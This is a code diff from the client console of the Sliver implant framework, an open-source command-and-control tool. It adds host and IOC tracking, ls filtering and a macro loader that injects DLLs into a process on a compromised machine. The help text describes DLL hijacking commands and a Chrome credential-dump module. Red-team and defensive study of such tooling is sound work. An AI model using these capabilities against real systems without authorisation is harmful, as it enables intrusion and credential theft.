||||
before reaching out to the implant.
|
||||
*/
|
||||
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
|
||||
break
|
||||
}
|
||||
|
||||
if !fileMatch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
@@ -41,6 +41,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
localPath := ctx.Args.String("local-path")
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
isIOC := ctx.Flags.Bool("ioc")
|
||||
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("Missing parameter, see `help upload`\n")
|
||||
@@ -70,6 +71,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -50,7 +50,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.LoadExtensionStr: loadExtensionHelp,
|
||||
consts.LoadMacroStr: loadMacrosHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -89,6 +89,7 @@ var (
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
consts.DLLHijackStr: dllHijackHelp,
|
||||
consts.GetPrivsStr: getPrivsHelp,
|
||||
|
||||
// Loot
|
||||
consts.LootStr: lootHelp,
|
||||
@@ -235,7 +236,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
|
||||
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
|
||||
|
||||
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
|
||||
|
||||
[[.Bold]][[.Underline]]Sorting[[.Normal]]
|
||||
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
|
||||
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit search results to directory and file names matching given criteria.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
|
||||
|
||||
Directory and file listings can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file and directory names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
`
|
||||
|
||||
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
|
||||
@@ -345,21 +370,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
|
||||
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
|
||||
Load an extension:
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
Load an macro:
|
||||
load /tmp/chrome-dump
|
||||
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
|
||||
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
|
||||
chrome-dump
|
||||
├── chrome-dump.dll
|
||||
├── chrome-dump.so
|
||||
└── manifest.json
|
||||
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
|
||||
{
|
||||
"extensionName":"chrome-dump", // name of the extension, can be anything
|
||||
"extensionCommands":[
|
||||
"macroName":"chrome-dump", // name of the macro, can be anything
|
||||
"macroCommands":[
|
||||
{
|
||||
"name":"chrome-dump", // name of the command available in the sliver client (no space)
|
||||
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
|
||||
@@ -371,7 +396,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
|
||||
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
|
||||
"files":{
|
||||
"x64":"chrome-dump.dll",
|
||||
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
|
||||
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -558,7 +583,10 @@ loot fetch
|
||||
`
|
||||
|
||||
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
|
||||
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
|
||||
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
|
||||
reactions do not support variables or logic, they simply allow you to run verbatim
|
||||
commands when an event occurs. To implement complex event-based logic we recommend
|
||||
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
|
||||
[[.Bold]]Reactable Events:[[.Normal]]
|
||||
% 20s Triggered when a new session is opened to a target
|
||||
@@ -579,7 +607,11 @@ loot fetch
|
||||
)
|
||||
|
||||
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
|
||||
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
|
||||
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
|
||||
|
||||
The built-in reactions do not support variables or logic, they simply allow you to
|
||||
run verbatim commands when an event occurs. To implement complex event-based logic
|
||||
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# The command uses interactive menus to build a reaction. Simply run:
|
||||
@@ -627,6 +659,10 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\u
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
`
|
||||
|
||||
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
|
||||
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
|
||||
`
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Hosts
|
||||
======
|
||||
|
||||
Command to access and manage host information.
|
||||
@@ -1,8 +1,8 @@
|
||||
package encoders
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -19,26 +19,28 @@ package encoders
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base32"
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// Base32EncoderID - EncoderID
|
||||
const Base32EncoderID = 65
|
||||
|
||||
// Base32 Encoder
|
||||
type Base32 struct{}
|
||||
|
||||
// Missing chars: i, l, o, s
|
||||
const base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
|
||||
|
||||
var sliverBase32 = base32.NewEncoding(base32Alphabet)
|
||||
|
||||
// Encode - Base32 Encode
|
||||
func (e Base32) Encode(data []byte) []byte {
|
||||
return []byte(sliverBase32.EncodeToString(data))
|
||||
}
|
||||
|
||||
// Decode - Base32 Decode
|
||||
func (e Base32) Decode(data []byte) ([]byte, error) {
|
||||
return sliverBase32.DecodeString(string(data))
|
||||
// HostsIOCRmCmd - Remove a host from the database
|
||||
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ioc, err := SelectHostIOC(host, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// HostsIOCCmd - Remove a host from the database
|
||||
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(host.IOCs) {
|
||||
con.Printf("%s\n", hostIOCsTable(host, con))
|
||||
} else {
|
||||
con.Println()
|
||||
con.PrintInfof("No IOCs tracked on host\n")
|
||||
}
|
||||
}
|
||||
|
||||
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(table.StyleBold)
|
||||
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
|
||||
for _, ioc := range host.IOCs {
|
||||
tw.AppendRow(table.Row{
|
||||
ioc.Path,
|
||||
ioc.FileHash,
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var iocMap = make(map[string]*clientpb.IOC)
|
||||
for _, ioc := range host.IOCs {
|
||||
keys = append(keys, ioc.ID)
|
||||
iocMap[ioc.ID] = ioc
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
ioc := iocMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
ioc.Path,
|
||||
ioc.FileHash,
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an IOC:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> host
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return iocMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
@@ -1,8 +1,8 @@
|
||||
package encoders
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -19,24 +19,23 @@ package encoders
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base32"
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// Base32EncoderID - EncoderID
|
||||
const Base32EncoderID = 65
|
||||
|
||||
// Base32 Encoder
|
||||
type Base32 struct{}
|
||||
|
||||
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
|
||||
var sliverBase32 = base32.NewEncoding(base32Alphabet)
|
||||
|
||||
// Encode - Base32 Encode
|
||||
func (e Base32) Encode(data []byte) []byte {
|
||||
return []byte(sliverBase32.EncodeToString(data))
|
||||
}
|
||||
|
||||
// Decode - Base32 Decode
|
||||
func (e Base32) Decode(data []byte) ([]byte, error) {
|
||||
return sliverBase32.DecodeString(string(data))
|
||||
// HostsRmCmd - Remove a host from the database
|
||||
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.HostRm(context.Background(), host)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrNoHosts - No hosts in database
|
||||
ErrNoHosts = errors.New("no hosts")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// HostsCmd - Main hosts command
|
||||
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(allHosts.Hosts) {
|
||||
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
|
||||
} else {
|
||||
con.PrintInfof("No hosts\n")
|
||||
}
|
||||
}
|
||||
|
||||
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(table.StyleLight)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Sessions",
|
||||
"IOCs",
|
||||
"Extension Data",
|
||||
"ID (Short)",
|
||||
})
|
||||
for _, host := range hosts {
|
||||
var shortID string
|
||||
if len(host.HostUUID) < 8 {
|
||||
shortID = host.HostUUID[:len(host.HostUUID)]
|
||||
} else {
|
||||
shortID = host.HostUUID[:8]
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
shortID,
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if 0 == len(hostSessions) {
|
||||
return "None"
|
||||
}
|
||||
sessionNumbers := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
}
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
}
|
||||
|
||||
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []*clientpb.Session{}
|
||||
}
|
||||
hostSessions := []*clientpb.Session{}
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.UUID == hostUUID {
|
||||
hostSessions = append(hostSessions, session)
|
||||
}
|
||||
}
|
||||
return hostSessions
|
||||
}
|
||||
|
||||
// SelectHost - Interactively select a host from the database
|
||||
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
|
||||
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var hostMap = make(map[string]*clientpb.Host)
|
||||
for _, host := range allHosts.Hosts {
|
||||
keys = append(keys, host.HostUUID)
|
||||
hostMap[host.HostUUID] = host
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
host := hostMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a host:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> host
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return hostMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Extensions
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
@@ -0,0 +1,335 @@
|
||||
package macros
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]macro
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type macroFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type macroCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
MacroFiles []macroFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type macro struct {
|
||||
Name string `json:"macroName"`
|
||||
Commands []macroCommand `json:"macroCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.MacroFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no macro command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadMacroCmd - Locally load a macro into the Sliver shell.
|
||||
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
|
||||
// retrieve macro manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
// parse it
|
||||
ext := ¯o{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error loading macro: %v", err)
|
||||
return
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each macro command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
macroCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runMacroCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.MacroHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(macroCmd)
|
||||
}
|
||||
con.PrintInfof("%s macro has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
